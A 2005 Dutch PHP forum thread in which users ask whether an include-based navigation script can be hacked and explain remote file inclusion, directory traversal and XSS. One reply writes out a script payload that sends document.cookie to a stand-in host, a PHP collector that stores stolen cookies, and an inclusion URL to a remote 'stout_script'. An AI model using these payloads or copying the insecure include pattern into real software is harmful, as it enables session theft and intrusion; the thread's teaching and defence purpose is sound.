login  Naam:   Wachtwoord: 
Registreer je!
 Forum

header injection?

Offline nemesiskoen - 02/04/2005 22:44 (laatste wijziging 02/04/2005 23:32)
Avatar van nemesiskoenGouden medaille

PHP expert
  1. <?php
  2.  
  3. $pagina = $_GET['pagina'];
  4. $mijn_site = "http://www.mijn_site.com";
  5.  
  6. if ( file_exists( $pagina .".php" ) ) {
  7. include( $mijn_site ."/". $pagina .".php" );
  8. }
  9. else {
  10. echo "404 Error - Page Not Found";
  11. }
  12.  
  13.  
  14. ?>


Zoals je ziet is dit een simpel navigatie scriptje.
Op het eerste gezicht onschuldig. Dan als je je gaat verdiepen in PHP denk je dat het header injection teweegbrengt.
Ik gebruik altijd die switch methode, en dan alles lekker veilig addslashen en htmlspecialcharren en blahblahblah... lekker lange code.
Maar nu kwam ik het bovenstaande scripte ( een beetje anders ) vandaag tegen ( iemand stuurde het over msn ). Ik dacht meteen... ja, daar zit je zo binnen... maar ik kreeg niets geinclude. En ook javascript of html bleek niet effectief te zijn. De site was hack-proof!

Ik heb alles geprobeerd wat ik denk dat de site zou kunnen schaden en niets gevonden. Niet met de bedoeling de site te schaden, maar om de persoon in kwestie te helpen. Nu vraag ik jullie of jullie nog een idee hebben om binnen een site te geraken die dat gebruikt. Wat is daar niet goed aan ( aan bovenstaande code ). Want iets zegt me dat het hack-baar is... maar uit mijn ervaring blijkt van niet. Als dit zo is... dan ga ik dit voortaan gebruiken, bespaart hoogstwss een boem werk!


EDIT: @mothzone, dat was om dat dit niet het volledige script was... zo zou het er moeten uit zien, zoals ik het nu heb veranderd 

8 antwoorden

Gesponsorde links
Offline MothZone - 02/04/2005 22:51 (laatste wijziging 02/04/2005 22:55)
Avatar van MothZone PHP ver gevorderde :s je opent 1 keer een if en je sluit hem 2 keer? edit:zeg al niets meer:-)

ik denk dat je gewoon alle bestanden kan includen die niet in een map staan en die eindigen op .php
Offline nemesiskoen - 02/04/2005 22:55
Avatar van nemesiskoen Gouden medaille

PHP expert
map gat ook he

$pagina = "content/games";

include( $mijn_site ."/". $pagina .".php" );

dan word content/games.php geinclude
maar door die $mijn_site eraan toe te voegen lijkt hij voor mij crack-proof, wat denken jullie?
Offline MothZone - 02/04/2005 22:59
Avatar van MothZone PHP ver gevorderde jah, je kan geen paginas van andere websites includen, maar in zn eigen site is het niet veilig denk ik
Offline MechaVore - 02/04/2005 23:00
Avatar van MechaVore Gouden medaille

PHP gevorderde
als je op je error pagina zet:
<?
echo "de ".$pagina." kan niet worden weergeven";
?>

dan iz hij wel vatbaar. dan kan een gebruiker namelijk html en javascript in de link zetten
Offline nemesiskoen - 02/04/2005 23:06
Avatar van nemesiskoen Gouden medaille

PHP expert
da's waar... maar dat gebeurt toch nergens? hij gebruikt nergens een element van de superglobal $_GET om output te creeeren of om iets uit een database te ontlenen ( wat een zin ).
Offline SlashDotCom - 02/04/2005 23:08
Avatar van SlashDotCom Lid Kan me nou iemand vertellen wat dat precies is, een javascript uitvoeren in een url om iemand zijn pass te verkrijgen.
Ik blijf graag up-to-date 
Offline nemesiskoen - 02/04/2005 23:18
Avatar van nemesiskoen Gouden medaille

PHP expert
Ok...

ik heb een rot systeempje gebouwt

  1. <?php
  2. if( file_exists( $_GET['pagina'] .".php" ){
  3. include ( $_GET['pagina'] .".php" );
  4. }
  5. else {
  6. echo $_GET['pagina'] .".php bestaat niet";
  7. }
  8. ?>


allemaal leuk...
het werkt voor je eigen systeem
als de file bestaat, include je hem, anders geef je een error

in dit bovenstaande voorbeld is er ook de mogelijkheid een pagina vanuit je eigen site te includen bv door in te vullen.
www.mijnsite.com/?pagina=http://www.jouwsite.com/stout_script
en dan doe je in dat stout_script leuke dingetjes 

maar daar gaat het niet over, hierbij gaat het over het tweede deel

stel ik vul dit in

http://www.mijn...on.replace('http://www.jouwsite.com/opslaan.php?cookie=' +document.cookie);</script>

fijn fijn

dat gaat zien, bestaat de pagina... neen, wat doet hij dan:

echo " <script>document.location.replace('http://www.jouwsite.com/opslaan.php?cookie=' +document.cookie);</script> php bestaat niet";

en dan heb jij op jouwsite.com een scriptje staan opslaan.php
en dat ziet er zo uit

  1. <?php
  2.  
  3. $query = "INSERT into COOKIES (cookie) VALUES ('". $_GET['cookie'] ."')";
  4.  
  5. ?>


fijn fijn... wat doet dit?
dit slaat de cookies op in jou database
mijn cookies, de vorm van mijn cookies in jouw database...
niet fijn he:)
Offline CelestialCelebi - 03/04/2005 09:36
Avatar van CelestialCelebi PHP gevorderde Tja, ik heb altijd gezegd:

Controleer ook of er een . (punt) in de string zit, want als dat zo is kan men een map naar boven gaan:

index.php?page=index

Include index.php, index.php include weer index.php, ......

index.php?page=../site/index

Hetzelfde.


Voor de content in de map waar de site staat:
  1. <?php
  2. if(basename($_SERVER['PHP_SELF']) != $_GET['page'] && strpos($_GET['page'], '.') === false && file_exists($_GET['page'] . '.php'))
  3. {
  4. // includen
  5. }
  6. ?>


Voor de content in een aparte map:
  1. <?php
  2. if(strpos($_GET['page'], '.') === false && file_exists($_GET['page'] . '.php'))
  3. {
  4. // includen
  5. }
  6. ?>


:D
Gesponsorde links
Dit onderwerp is gesloten.
Actieve forumberichten
© 2002-2024 Sitemasters.be - Regels - Laadtijd: 0.217s